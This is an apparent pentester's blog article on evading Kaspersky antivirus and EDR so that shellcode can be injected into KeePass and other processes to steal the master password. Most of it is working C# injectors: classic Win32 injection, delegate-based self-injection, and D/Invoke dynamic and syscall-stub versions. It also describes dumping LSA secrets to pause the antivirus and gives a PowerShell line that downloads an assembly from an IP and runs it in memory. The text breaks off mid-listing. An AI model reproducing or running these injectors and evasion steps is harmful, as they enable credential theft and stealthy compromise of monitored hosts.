Challenge the Keemaker! How to bypass antiviruses and inject shellcode into KeePass memory

Recently, I was involved with a challenging pentesting project. Using the KeeThief utility from GhostPack, I tried to extract the master password for the open-source KeePass database from the process memory. Too bad, EDR was monitoring the system and prevented me from doing this: after all, KeeThief injects shellcode into a remote process in a classical oldie-goodie way, and in 2022, such actions have no chance to go unnoticed.

This paper discusses D/Invoke, a wonderful third-party mechanism for C#. D/Invoke makes it possible to interact with the Windows API bypassing the antivirus protection. As a bonus, you will learn how to rewrite KeeThief so that it becomes undetectable by the great and terrible Kaspersky AV.

Background

Imagine my situation: I’m already inside, the admin domain has been captured and raized, but the stubborn KeePass database doesn’t want to be brute-forced with hashcat and keepass2john.py. As you are likely aware, KeePass contains info required to access critical infrastructure resources that determine the outcome of my attack; so, I must crack it. The workstation running this database is monitored by Kaspersky Endpoint Security (KES). And the question is: how can I get the much-desired master password without using social engineering?

First of all, I must admit that the cornerstone of my success was cool malware called KeeThief from the GhostPack collection; its authors are the notorious @harmj0y and @tifkin_. The core of this program is a custom shellcode that calls RtlDecryptMemory to decrypt the encrypted virtual memory area in KeePass.exe and extract the master password from there. But if there’s a shellcode, you also need a loader for it, which becomes a problem if the host is monitored by EDR…

So, what are my options?

Disable AV

The simplest (and most stupid) way is to disable Kaspersky AV for a few seconds. “This isn’t a red team engagement; so, I can do this!” – I decided. Since I have domain administrator privileges, I also have access to the KES administration server and the KlScSvc account (in that case, a local account was used) whose credits are stored in plain text among other LSA secrets.

My plan is simple. First, I dump LSA with secretsdump.py.

Dumping LSA
Dumping LSA

Then I download the KES Administration Console from the official website, specify KSC as the hostname, and log in.

KES Administration Console
KES Administration Console

Then I pause Kaspersky AV and do my dirty job.

AdobeHelperAgent.exe, yeah, you wish...
AdobeHelperAgent.exe, yeah, you wish…

Success! I have the master password. But after finishing the project, I decided to explore other ways to solve this problem.

C2 session

Many C2 frameworks can bring along a CLR (Common Language Runtime) DLL and inject it reflectively in accordance with the RDI (Reflective DLL Injection) principle to run malware from the memory. In theory, this can affect the detection of the managed code executed using such a trick.

If Kaspersky Antivirus is active, it’s extremely difficult to get a fully functional Meterpreter session due to numerous artifacts in the network traffic. Therefore, I don’t even try its execute-assembly module. By contrast, the Cobalt Strike execute-assembly module brings the desired results – provided that the beacon session was established correctly (all subsequent screenshots were taken on a PC running KIS (the home edition of KES), but the techniques described below are effective against KES as well).

KeeTheft.exe executed using the CS execute-assembly module
KeeTheft.exe executed using the CS execute-assembly module

However, this method is far from perfection, too. To smoothly get a beacon session, you need an external server with a valid certificate to encrypt SSL traffic. Infecting the target PC from the customer’s internal perimeter is a mauvais ton.

Redesigning tools

The most exciting (and concurrently labor-consuming) way is to rewrite the shellcode injection logic so that EDR cannot detect it at the time of execution. This is how I am going to do this, but first, some theory is required.

Note

The point is to evade heuristic analysis. If you hide the malware signature using an undetectable packer, access to memory will still be denied due to the injection failure.

Running encrypted KeeTheft.exe with active EDR
Running encrypted KeeTheft.exe with active EDR

Classical shellcode injection

Let’s examine the classical technique used to inject third-party code into a remote process. For this purpose, our ancestors used the ‘sacred’ trio of Win32 APIs:

  • VirtualAllocEx – allocate space in virtual memory of the remote process for your shellcode;
  • WriteProcessMemory – write shellcode bytes to the allocated memory area; and 
  • CreateRemoteThread – run a new thread in the remote process that starts the newly-written shellcode.
Source: elastic.co
Source: elastic.co

Let’s write a simple PoC in C# to demonstrate the classical shellcode injection procedure.

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace SimpleInjector
{
public class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(
uint processAccess,
bool bInheritHandle,
int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId);
public static void Main()
{
// msfvenom -p windows/x64/messagebox TITLE='MSF' TEXT='Hack the Planet!' EXITFUNC=thread -f csharp
byte[] buf = new byte[] { };
// Get PID of the explorer.exe process
int processId = Process.GetProcessesByName("explorer")[0].Id;
// Get process handle based on its PID (0x001F0FFF = PROCESS_ALL_ACCESS)
IntPtr hProcess = OpenProcess(0x001F0FFF, false, processId);
// Allocate memory area 0x1000 bytes in size (0x3000 = MEM_COMMIT | MEM_RESERVE, 0x40 = PAGE_EXECUTE_READWRITE)
IntPtr allocAddr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
// Write shellcode to the allocated area
_ = WriteProcessMemory(hProcess, allocAddr, buf, buf.Length, out _);
// Start thread
_ = CreateRemoteThread(hProcess, IntPtr.Zero, 0, allocAddr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}

I compile and run the injector. Using Process Hacker, I can see how a new thread starts in the explorer.exe process and opens an MSF dialog box.

Classical shellcode injection
Classical shellcode injection

If you simply put such a binary on a disk with enabled antivirus protection, its reaction will be instantaneous regardless of the buf array contents (i.e. your shellcode). This is because it contains a combination of potentially dangerous Win32 API calls that are used in numerous malicious programs. For demonstration purposes, I recompile the injector with an empty buf array and upload the result to VirusTotal. Its reaction speaks for itself.

VirusTotal doesn
VirusTotal doesn’t like my binary…

How does antivirus software detect an injector, even without dynamic analysis? In fact, very simply: a bunch of DllImport attributes representing half of the source code clearly indicate the danger. Using this magical PowerShell code, I can view, for instance, all imports in the .NET binary.

Note

I use the System.Reflection.Metadata assembly available out-of-the-box in PowerShell Core. Its installation is described in the Microsoft documentation.

$assembly = "C:\Users\snovvcrash\source\repos\SimpleInjector\bin\x64\Release\SimpleInjector.exe"
$stream = [System.IO.File]::OpenRead($assembly)
$peReader = [System.Reflection.PortableExecutable.PEReader]::new($stream, [System.Reflection.PortableExecutable.PEStreamOptions]::LeaveOpen -bor [System.Reflection.PortableExecutable.PEStreamOptions]::PrefetchMetadata)
$metadataReader = [System.Reflection.Metadata.PEReaderExtensions]::GetMetadataReader($peReader)
$assemblyDefinition = $metadataReader.GetAssemblyDefinition()
foreach($typeHandler in $metadataReader.TypeDefinitions) {
$typeDef = $metadataReader.GetTypeDefinition($typeHandler)
foreach($methodHandler in $typeDef.GetMethods()) {
$methodDef = $metadataReader.GetMethodDefinition($methodHandler)
$import = $methodDef.GetImport()
if ($import.Module.IsNil) {
continue
}
$dllImportFuncName = $metadataReader.GetString($import.Name)
$dllImportParameters = $import.Attributes.ToString()
$dllImportPath = $metadataReader.GetString($metadataReader.GetModuleReference($import.Module).Name)
Write-Host "$dllImportPath, $dllImportParameters`n$dllImportFuncName`n"
}
}
Viewing imports in SimpleInjector.exe
Viewing imports in SimpleInjector.exe

info

These imports are used for interactions between .NET applications and unmanaged code (e.g. functions of the user32.dll and kernel32.dll libraries). The mechanism is called P/Invoke (Platform Invocation Services), and signatures of imported functions, including their sets of arguments and types of return values, can be found on pinvoke.net.

As you understand, dynamic analysis of this stuff is even simpler: since all EDRs have a habit of hooking userland interfaces, calls to suspicious APIs will immediately raise alarms. See the research by @ShitSecure for more information; in the laboratory environment, hooking can be effectively demonstrated using the API Monitor.

Hooking kernel32.dll in SimpleInjector.exe
Hooking kernel32.dll in SimpleInjector.exe

So, what can I do in this situation?

Introduction to D/Invoke

In 2020, researchers @TheWover and @FuzzySecurity introduced a new API for invoking unmanaged code from .NET: D/Invoke (Dynamic Invocation, similar to P/Invoke). This method uses a powerful delegates-based mechanism in C#. Initially, it was available as part of SharpSploit, a framework used to develop post-exploitation tools, but later migrated to a separate repository and even appeared as a ready-made package on NuGet.

Using delegates, a developer can declare a reference to a function that has to be called with all its parameters and type of return value (similar to imports using the DllImport attribute). The difference is as follows: when you import functions using DllImport, the runtime searches for addresses of the imported functions; while when you use delegates, you have to localize the unmanaged code you need (dynamically, during the program execution) and associate it with the declared pointer. After that, you can access the pointer as the required function without having to ‘shout’ that you are going to use it.

D/Invoke allows to dynamically import unmanaged code in different ways, including:

  1. DynamicAPIInvoke – parses the DLL structure (either loads it from disk or accesses an instance already loaded to the memory of the current process) containing the required function and computes its export address; or 
  2. GetSyscallStub – loads the ntdll.dll library to memory and parses its structure in the same way to get a pointer to the export address of the system call that, in fact, acts as the last frontier before entering the land of the dead kernel mode (system calls will be addressed in more detail a bit later).

For better understanding, let’s start with a simple example: it’s similar to the first approach, but doesn’t use D/Invoke.

DynamicAPIInvoke without D/Invoke

I like an example provided in the article by xpn (the second code listing in the section “A Quick History Lesson”): the author uses less than 50 strings to demonstrate the full power of delegates combined with a manual search of the export address of an unmanaged function.

I rename the StartShellcodeViaDelegate function into Main, add the required structures (signatures are taken from pinvoke.net), and get another PoC demonstrating dynamic shellcode injection.

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace DynamicAPIInvoke
{
/// <summary>
/// "A Quick History Lesson"
/// https://blog.xpnsec.com/weird-ways-to-execute-dotnet/
/// </summary>
public class Program
{
[UnmanagedFunctionPointer(CallingConvention.Winapi)]
delegate IntPtr VirtualAllocDelegate(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[UnmanagedFunctionPointer(CallingConvention.Winapi)]
delegate IntPtr ShellcodeDelegate();
static IntPtr GetExportAddress(IntPtr baseAddr, string name)
{
var dosHeader = Marshal.PtrToStructure<IMAGE_DOS_HEADER>(baseAddr);
var peHeader = Marshal.PtrToStructure<IMAGE_OPTIONAL_HEADER64>(baseAddr + dosHeader.e_lfanew + 4 + Marshal.SizeOf<IMAGE_FILE_HEADER>());
var exportHeader = Marshal.PtrToStructure<IMAGE_EXPORT_DIRECTORY>(baseAddr + (int)peHeader.ExportTable.VirtualAddress);
for (int i = 0; i < exportHeader.NumberOfNames; i++)
{
var nameAddr = Marshal.ReadInt32(baseAddr + (int)exportHeader.AddressOfNames + (i * 4));
var m = Marshal.PtrToStringAnsi(baseAddr + (int)nameAddr);
if (m == "VirtualAlloc")
{
var exportAddr = Marshal.ReadInt32(baseAddr + (int)exportHeader.AddressOfFunctions + (i * 4));
return baseAddr + (int)exportAddr;
}
}
return IntPtr.Zero;
}
public static void Main()
{
// msfvenom -p windows/x64/messagebox TITLE='MSF' TEXT='Hack the Planet!' EXITFUNC=thread -f csharp
byte[] shellcode = new byte[] { };
// Search for export address in the kernel32.dll library already loaded to the memory
IntPtr virtualAllocAddr = IntPtr.Zero;
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
if (module.ModuleName.ToLower() == "kernel32.dll")
virtualAllocAddr = GetExportAddress(module.BaseAddress, "VirtualAlloc");
// Initialize delegate using the found address
var VirtualAlloc = Marshal.GetDelegateForFunctionPointer<VirtualAllocDelegate>(virtualAllocAddr);
// Allocate memory area with size of shellcode.Length in the address space of the current injector process (0x3000 = MEM_COMMIT | MEM_RESERVE, 0x40 = PAGE_EXECUTE_READWRITE)
var execMem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
// Write shellcode to the allocated area
Marshal.Copy(shellcode, 0, execMem, shellcode.Length);
// Address shellcode as a function and run it without creating a new thread
var shellcodeCall = Marshal.GetDelegateForFunctionPointer<ShellcodeDelegate>(execMem);
shellcodeCall();
}
[StructLayout(LayoutKind.Sequential)]
struct IMAGE_DOS_HEADER
{
// http://www.pinvoke.net/default.aspx/Structures/IMAGE_DOS_HEADER.html
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
struct IMAGE_OPTIONAL_HEADER64
{
// http://www.pinvoke.net/default.aspx/Structures/IMAGE_OPTIONAL_HEADER64.html
}
[StructLayout(LayoutKind.Sequential)]
struct IMAGE_DATA_DIRECTORY
{
// http://www.pinvoke.net/default.aspx/Structures/IMAGE_DATA_DIRECTORY.html
}
[StructLayout(LayoutKind.Sequential)]
struct IMAGE_FILE_HEADER
{
// http://www.pinvoke.net/default.aspx/Structures/IMAGE_FILE_HEADER.html
}
[StructLayout(LayoutKind.Sequential)]
struct IMAGE_EXPORT_DIRECTORY
{
// http://www.pinvoke.net/default.aspx/Structures/IMAGE_EXPORT_DIRECTORY.html
}
}
}
DynamicAPIInvoke without D/Invoke
DynamicAPIInvoke without D/Invoke

For simplicity purposes, the above example uses the so-called self-injection: you don’t target a remote process, but write the shellcode into the virtual memory of the injector process (by the way, this is another effective AV bypass tactics).

Now I am going to use my impromptu static analysis script to check for any suspicious imports.

Viewing imports in DynamicAPIInvoke.exe
Viewing imports in DynamicAPIInvoke.exe

No imports found, which is fine. But what will API Monitor say when the injector is launched?

Hooking kernel32.dll in DynamicAPIInvoke.exe
Hooking kernel32.dll in DynamicAPIInvoke.exe

No alarms. Let’s check the KIS reaction to this binary.

Kaspersky AV doesn
Kaspersky AV doesn’t like DynamicAPIInvoke.exe

I didn’t even launch it… But I’m definitely moving in the right direction!

Bonus

In this particular case, Kaspersky AV detects hardcoded strings (e.g. "VirtualAlloc") and names of variables. If you obfuscate or encrypt them as I do here, EDR won’t notice anything suspicious.

How do you like this, Kaspersky?
How do you like this, Kaspersky?

However, if your injector has a more complex structure (e.g. a thread is launched in a remote process), heuristic analysis will detect it. Therefore, the above method isn’t suitable for this task.

DynamicAPIInvoke with D/Invoke

Let’s find out how to perform an injection into a remote process using D/Invoke and DynamicAPIInvoke. For this purpose, I create a new Visual Studio project and separately clone the D/Invoke repository. For ‘combat’ operations, I don’t want to use a ready-made NuGet package – instead, I will include D/Invoke source code in my project to avoid potential IOCs and the need to merge the assemblies together.

git clone https://github.com/TheWover/DInvoke.git

The result should look like shown below.

Structure of the project DInvoke_DynamicAPIInvoke
Structure of the project DInvoke_DynamicAPIInvoke

The PoC is as follows:

using System;
using System.Diagnostics;
using System.ComponentModel;
using System.Runtime.InteropServices;
namespace DInvoke_DynamicAPIInvoke
{
class Delegates
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr OpenProcess(
DInvoke.Data.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess,
bool bInheritHandle,
int dwProcessId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int nSize,
out IntPtr lpNumberOfBytesWritten);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId);
}
public class Program
{
static IntPtr OpenProcess(DInvoke.Data.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int dwProcessId)
{
object[] parameters = { dwDesiredAccess, bInheritHandle, dwProcessId };
var result = (IntPtr)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke("kernel32.dll", "OpenProcess", typeof(Delegates.OpenProcess), ref parameters);
return result;
}
static IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect)
{
object[] parameters = { hProcess, lpAddress, dwSize, flAllocationType, flProtect };
var result = (IntPtr)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke("kernel32.dll", "VirtualAllocEx", typeof(Delegates.VirtualAllocEx), ref parameters);
return result;
}
static bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten)
{
var numBytes = new IntPtr();
object[] parameters = { hProcess, lpBaseAddress, lpBuffer, nSize, numBytes };
var result = (bool)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke("kernel32.dll", "WriteProcessMemory", typeof(Delegates.WriteProcessMemory), ref parameters);
if (!result) throw new Win32Exception(Marshal.GetLastWin32Error());
lpNumberOfBytesWritten = (IntPtr)parameters[4];
return result;
}
static IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId)
{
object[] parameters = { hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId };
var result = (IntPtr)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke("kernel32.dll", "CreateRemoteThread", typeof(Delegates.CreateRemoteThread), ref parameters);
return result;
}
public static void Main(string[] args)
{
// msfvenom -p windows/x64/messagebox TITLE='MSF' TEXT='Hack the Planet!' EXITFUNC=thread -f csharp
byte[] buf = new byte[] { };
// Get PID of the explorer.exe process
int processId = Process.GetProcessesByName("explorer")[0].Id;
// Get process handle based on its PID
IntPtr hProcess = OpenProcess(DInvoke.Data.Win32.Kernel32.ProcessAccessFlags.PROCESS_ALL_ACCESS, false, processId);
// Allocate memory area buf.Length bytes in size
IntPtr allocAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)buf.Length, DInvoke.Data.Win32.Kernel32.MEM_COMMIT | DInvoke.Data.Win32.Kernel32.MEM_RESERVE, DInvoke.Data.Win32.WinNT.PAGE_EXECUTE_READWRITE);
// Write shellcode to the allocated area
_ = WriteProcessMemory(hProcess, allocAddr, buf, buf.Length, out _);
// Start thread
_ = CreateRemoteThread(hProcess, IntPtr.Zero, 0, allocAddr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}
DynamicAPIInvoke with D/Invoke
DynamicAPIInvoke with D/Invoke

Let’s briefly discuss what happened. The WriteProcessMemory API call will be used as an example. In case of a static P/Invoke import, this API was used as follows:

public class Program
{
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesWritten);
}

To use DynamicAPIInvoke from D/Invoke, I create a wrapper function called WriteProcessMemory; it takes the same arguments as specified in the delegate’s signature and passes the control to the D/Invoke logic.

class Delegates
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int nSize,
out IntPtr lpNumberOfBytesWritten);
}
public class Program
{
static bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten)
{
// This variable will be responsible for the out argument lpNumberOfBytesWritten
var numBytes = new IntPtr();
// Create an object containing input arguments that have to be passed to the target function and call DynamicAPIInvoke
object[] parameters = { hProcess, lpBaseAddress, lpBuffer, nSize, numBytes };
var result = (bool)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke("kernel32.dll", "WriteProcessMemory", typeof(Delegates.WriteProcessMemory), ref parameters);
// In case of failure, throw an exception; otherwise redefine the out argument lpNumberOfBytesWritten with the numBytes value
if (!result) throw new Win32Exception(Marshal.GetLastWin32Error());
lpNumberOfBytesWritten = (IntPtr)parameters[4];
// Return the result
return result;
}
}

This operation was performed to simplify the use of the target function: the syntax used to call WriteProcessMemory remains the same in both cases:

_ = WriteProcessMemory(hProcess, allocAddr, buf, buf.Length, out _);

Important: if you decide to use the D/Invoke project, note that under no circumstance your binary cannot be copied to the disk (this would trigger alerts). But this isn’t critical since you are dealing with C# and can always load the bytes of the assembled injector directly into the memory using System.Reflection.Assembly (remember that, similar to the Main function, the class containing the program entry point must be declared as public).

www

A few useful articles explaining how to load C# assemblies into memory:

$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.0.184/DInvoke_DynamicAPIInvoke.exe')
$assembly = [System.Reflection.Assembly]::Load($data)
[DInvoke_DynamicAPIInvoke.Program]::Main(" ")
Kaspersky rings alarm bells again
Kaspersky rings alarm bells again

Too bad, Kaspersky detects such a behavior during the execution. I was prepared for this, so let’s move on to the heavy artillery: system calls in D/Invoke.

Why system calls?

So, what are system calls in the context of this topic and how can they help?

Windows has two API types: Win32 API and Native API.

  1. Win32 API (kernel32.dll, user32.dll, advapi32.dll etc.) – a well-documented and comprehensible API that remains intact for years to avoid breaking the existent programs and forcing developers to reinvent the wheel when they have to implement basic things. Roughly speaking, functions used in the Win32 API are wrapper functions that internally communicate with the Native API (similar to the DynamicAPIInvoke example above); and 
  2. Native API (ntdll.dll) – an undocumented and incomprehensible API whose implementation may vary in different versions of Windows. Native API functions are, in turn, wrappers for system calls.
Windows architecture (source: jhalon.github.io)
Windows architecture (source: jhalon.github.io)

For us, attackers pentesters, it’s imperative to take advantage of every OS feature because at the beginning of a project we always start in an uncharted area and know nothing about the target PC aside from its listed features. While the defenders are equipped with multimillion-dollar SIEMs and EDRs, we only have a bunch of hand-made scripts from GitHub and the friendly community (and licensed Cobalt, of course).

This means that in some situations, it’s preferable to use the Native API, not the Win32 API, to stay as close to the kernel mode (Ring 0) as possible because the AV/EDR laws – so effective in the user mode (Ring 3) – aren’t applicable there.

Privilege rings of the x86 architecture in the protected mode (source: jhalon.github.io)
Privilege rings of the x86 architecture in the protected mode (source: jhalon.github.io)

As you understand, the above exercises with DllImport (P/Invoke) and DynamicAPIInvoke (D/Invoke) are nothing more than attempts to use the Win32 API. Let’s try to perform the same operations with system calls.

GetSyscallStub with D/Invoke

Generally speaking, Native API functions represent the last frontier before entering the kernel mode. They live in the ntdll.dll library, and one of the ways to reach them without being detected is to parse the PE structure of this library and get addresses of the required exports. And D/Invoke will assist in this.

Let’s examine the code below.

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace DInvoke_GetSyscallStub
{
class Win32
{
[StructLayout(LayoutKind.Sequential, Pack = 0)]
public struct OBJECT_ATTRIBUTES
{
public int Length;
public IntPtr RootDirectory;
public IntPtr ObjectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}
[StructLayout(LayoutKind.Sequential)]
public struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;
}
}
class Delegates
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate DInvoke.Data.Native.NTSTATUS NtOpenProcess(
ref IntPtr ProcessHandle,
DInvoke.Data.Win32.Kernel32.ProcessAccessFlags DesiredAccess,
ref Win32.OBJECT_ATTRIBUTES ObjectAttributes,
ref Win32.CLIENT_ID ClientId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate DInvoke.Data.Native.NTSTATUS NtAllocateVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
IntPtr ZeroBits,
ref IntPtr RegionSize,
uint AllocationType,
uint Protect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate DInvoke.Data.Native.NTSTATUS NtWriteVirtualMemory(
IntPtr ProcessHandle,
IntPtr BaseAddress,
IntPtr Buffer,
uint BufferLength,
ref uint BytesWritten);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate DInvoke.Data.Native.NTSTATUS NtCreateThreadEx(
ref IntPtr threadHandle,
DInvoke.Data.Win32.WinNT.ACCESS_MASK desiredAccess,
IntPtr objectAttributes,
IntPtr processHandle,
IntPtr startAddress,
IntPtr parameter,
bool createSuspended,
int stackZeroBits,
int sizeOfStack,
int maximumStackSize,
IntPtr attributeList);
}
public class Program
{
static DInvoke.Data.Native.NTSTATUS NtOpenProcess(ref IntPtr ProcessHandle, DInvoke.Data.Win32.Kernel32.ProcessAccessFlags DesiredAccess, ref Win32.OBJECT_ATTRIBUTES ObjectAttributes, ref Win32.CLIENT_ID ClientId)
{
IntPtr stub = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtOpenProcess");
Delegates.NtOpenProcess ntOpenProcess = (Delegates.NtOpenProcess)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtOpenProcess));
return ntOpenProcess(ref ProcessHandle, DesiredAccess, ref ObjectAttributes, ref ClientId);
}
static DInvoke.Data.Native.NTSTATUS NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, uint AllocationType, uint Protect)
{
IntPtr stub = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtAllocateVirtualMemory");
Delegates.NtAllocateVirtualMemory ntAllocateVirtualMemory = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtAllocateVirtualMemory));
return ntAllocateVirtualMemory(ProcessHandle, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect);
}
static DInvoke.Data.Native.NTSTATUS NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, uint BufferLength, ref uint BytesWritten)
{
IntPtr stub = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtWriteVirtualMemory");
Delegates.NtWriteVirtualMemory ntWriteVirtualMemory = (Delegates.NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtWriteVirtualMemory));
return ntWriteVirtualMemory(ProcessHandle, BaseAddress, Buffer, BufferLength, ref BytesWritten);
}
static DInvoke.Data.Native.NTSTATUS NtCreateThreadEx(ref IntPtr threadHandle, DInvoke.Data.Win32.WinNT.ACCESS_MASK desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, int stackZeroBits, int sizeOfStack, int maximumStackSize, IntPtr attributeList)
{
IntPtr stub = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtCreateThreadEx");
Delegates.NtCreateThreadEx ntCreateThreadEx = (Delegates.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(stub, typeof(Delegates.NtCreateThreadEx));
return ntCreateThreadEx(ref threadHandle, desiredAccess, objectAttributes, processHandle, startAddress, parameter, createSuspended, stackZeroBits, sizeOfStack, maximumStackSize, attributeList);
}
public static void Main(string[] args)
{
// msfvenom -p windows/x64/messagebox TITLE='MSF' TEXT='Hack the Planet!' EXITFUNC=thread -f csharp
byte[] buf = new byte[] { };
// Get PID of the explorer.exe process
int processId = Process.GetProcessesByName("explorer")[0].Id;
// Get process handle based on its PID
IntPtr hProcess = IntPtr.Zero;
Win32.OBJECT_ATTRIBUTES oa = new Win32.OBJECT_ATTRIBUTES();
Win32.CLIENT_ID ci = new Win32.CLIENT_ID { UniqueProcess = (IntPtr)processId };
_ = NtOpenProcess(ref hProcess, DInvoke.Data.Win32.Kernel32.ProcessAccessFlags.PROCESS_ALL_ACCESS, ref oa, ref ci);
// Allocate memory area with size of buf.Length
IntPtr baseAddress = IntPtr.Zero;
IntPtr regionSize = (IntPtr)buf.Length;
_ = NtAllocateVirtualMemory(hProcess, ref baseAddress, IntPtr.Zero, ref regionSize, DInvoke.Data.Win32.Kernel32.MEM_COMMIT | DInvoke.Data.Win32.Kernel32.MEM_RESERVE, DInvoke.Data.Win32.WinNT.PAGE_EXECUTE_READWRITE);
// Write shellcode to the allocated area
var shellcode = Marshal.AllocHGlobal(buf.Length);
Marshal.Copy(buf, 0, shellcode, buf.Length);
uint bytesWritten = 0;
_ = NtWriteVirtualMemory(hProcess, baseAddress, shellcode, (uint)buf.Length, ref bytesWritten);
Marshal.FreeHGlobal(shellcode);
// Start thread
IntPtr hThread = IntPtr.Zero;
_ = NtCreateThreadEx(ref hThread, DInvoke.Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, IntPtr.Zero, hProcess, baseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
}
}
}

In this PoC, all functions involved in the shellcode injection have been replaced by Native API calls, namely

  • OpenProcessNtOpenProcess;
  • VirtualAllocExNtAllocateVirtualMemory;
  • WriteProcessMemoryNtWriteVirtualMemory;
  • CreateRemoteThreadNtCreateThreadEx.

The first question that comes to mind is: how do I know that these Native API functions correspond to the above-mentioned Win32 API calls? Well, the most righteous way to find this out is to disassemble kernel32.dll yourself… But since I’m all fingers and thumbs (and don’t have IDA Pro), I took a different approach and reviewed the ReactOS source code whose authors have already stolen everything done this job.

For instance, the implementation of the CreateRemoteThread function directly hints at the NtCreateThread call, which, in turn, refers you to the NtCreateThreadEx signature.

Staring blankly at ReactOS source code
Staring blankly at ReactOS source code

www

Here is another useful mapping in the PDF format showing correspondences between Win32 API calls and Native API functions.

So, let’s review again the differences between a static import in P/Invoke and a D/Invoke system call for the WriteProcessMemory function.

It used to be as follows:

public class Program
{
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesWritten);
}

Now it is:

class Delegates
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int nSize,
out IntPtr lpNumberOfBytesWritten);
}
public class Program
{
static DInvoke.Data.Native.NTSTATUS NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, uint BufferLength, ref uint BytesWritten)
{
// Get system call stub (i.e. pointer to the export of target function) and use it to initialize delegate
IntPtr stub = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtWriteVirtualMemory");
